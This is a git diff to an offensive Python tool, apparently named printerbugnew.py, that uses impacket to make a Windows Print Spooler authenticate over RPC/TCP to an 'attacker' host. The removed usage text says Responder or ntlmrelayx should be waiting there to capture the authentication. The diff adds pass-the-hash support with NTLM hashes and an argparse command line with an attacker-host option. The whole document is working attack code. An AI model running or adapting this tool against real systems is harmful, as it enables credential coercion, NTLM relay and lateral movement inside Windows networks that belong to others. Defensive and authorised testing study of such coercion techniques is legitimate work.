diff --git a/printerbugnew.py b/printerbugnew.py index ee2cea0..1cd3028 100644 --- a/printerbugnew.py +++ b/printerbugnew.py @@ -9,6 +9,7 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_CONNECT from impacket.dcerpc.v5.dtypes import NULL +import argparse import logging import sys @@ -16,13 +17,15 @@ logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') class RpcTcpPrinterTrigger: - def __init__(self, target_host, username='', password='', domain='', remote_host=None, tcp_port=None): + def __init__(self, target_host, username='', password='', domain='', remote_host=None, tcp_port=None, lmhash='', nthash=''): self.target_host = target_host self.username = username self.password = password self.domain = domain self.remote_host = remote_host if remote_host else target_host self.tcp_port = tcp_port # Optional specific port, otherwise dynamic + self.lmhash = lmhash + self.nthash = nthash def trigger_rpc_backconnect(self): """ @@ -45,17 +48,17 @@ def trigger_rpc_backconnect(self): rpctransport = transport.DCERPCTransportFactory(stringbinding) # Set credentials if provided - if self.username and self.password: - rpctransport.set_credentials(self.username, self.password, self.domain) + if self.username: + rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash) logging.info(f'Using credentials: {self.domain}\\{self.username}') else: logging.info('Using anonymous/null session') - + # Get DCE/RPC connection dce = rpctransport.get_dce_rpc() - + # Set authentication level on the DCE connection - if self.username and self.password: + if self.username: dce.set_auth_level(RPC_C_AUTHN_LEVEL_CONNECT) #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) @@ -139,47 +142,54 @@ def print_banner(): def main(): - if len(sys.argv) < 2: - print_banner() - print(f"\nUsage: {sys.argv[0]} [username] [password] [domain] [attacker_host] [tcp_port]") - print("\nExamples:") - print(f" # Anonymous connection") - print(f" {sys.argv[0]} 192.168.1.100") - print(f"\n # With credentials") - print(f" {sys.argv[0]} 192.168.1.100 admin Password123 DOMAIN") - print(f"\n # Trigger backconnect to different host (attacker)") - print(f" {sys.argv[0]} 192.168.1.100 admin Password123 DOMAIN 192.168.1.50") - print(f"\n # Use specific RPC port") - print(f" {sys.argv[0]} 192.168.1.100 admin Password123 DOMAIN 192.168.1.50 49152") - print("\nNotes:") - print(" - Target must be Windows 11 22H2+ or Server 2025 (RPC over TCP default)") - print(" - For older versions, spoolss uses RPC over Named Pipes (SMB)") - print(" - Ensure ports 135 and dynamic RPC ports (49152-65535) are open") - print(" - Start Responder or ntlmrelayx on remote_host to capture auth") - sys.exit(1) - - target_host = sys.argv[1] - username = sys.argv[2] if len(sys.argv) > 2 else '' - password = sys.argv[3] if len(sys.argv) > 3 else '' - domain = sys.argv[4] if len(sys.argv) > 4 else '' - remote_host = sys.argv[5] if len(sys.argv) > 5 else None - tcp_port = int(sys.argv[6]) if len(sys.argv) > 6 else None - print_banner() + + parser = argparse.ArgumentParser( + description='Pure RPC over TCP Printer Spooler Trigger (Windows 11 22H2+ / Server 2025)' + ) + parser.add_argument('target', help='Target host (IP or hostname)') + parser.add_argument('-u', '--username', default='', help='Username') + parser.add_argument('-p', '--password', default='', help='Plaintext password') + parser.add_argument('-d', '--domain', default='', help='Domain') + parser.add_argument('--hashes', default='', metavar='LMHASH:NTHASH', + help='NTLM hashes for pass-the-hash (format: LMhash:NThash or :NThash)') + parser.add_argument('-a', '--attacker', default=None, dest='remote_host', + help='Attacker host to receive the backconnect (default: target)') + parser.add_argument('--port', type=int, default=None, dest='tcp_port', + help='Specific RPC TCP port (default: dynamic via endpoint mapper)') + args = parser.parse_args() + + lmhash = '' + nthash = '' + if args.hashes: + parts = args.hashes.split(':', 1) + if len(parts) != 2: + parser.error('--hashes must be in LMHASH:NTHASH format (use empty string for LM, e.g. :NTHASH)') + lmhash, nthash = parts + + target_host = args.target + username = args.username + password = args.password + domain = args.domain + remote_host = args.remote_host + tcp_port = args.tcp_port + print(f"Target Host: {target_host}") print(f"Attacker Host: {remote_host if remote_host else target_host}") print(f"Credentials: {domain}\\{username}" if username else "Credentials: Anonymous") print(f"TCP Port: {tcp_port if tcp_port else 'Dynamic (via endpoint mapper)'}") print("=" * 70) print() - + trigger = RpcTcpPrinterTrigger( target_host=target_host, username=username, password=password, domain=domain, remote_host=remote_host, - tcp_port=tcp_port + tcp_port=tcp_port, + lmhash=lmhash, + nthash=nthash, ) success = trigger.trigger_rpc_backconnect() @@ -200,4 +210,3 @@ def main(): if __name__ == '__main__': main() -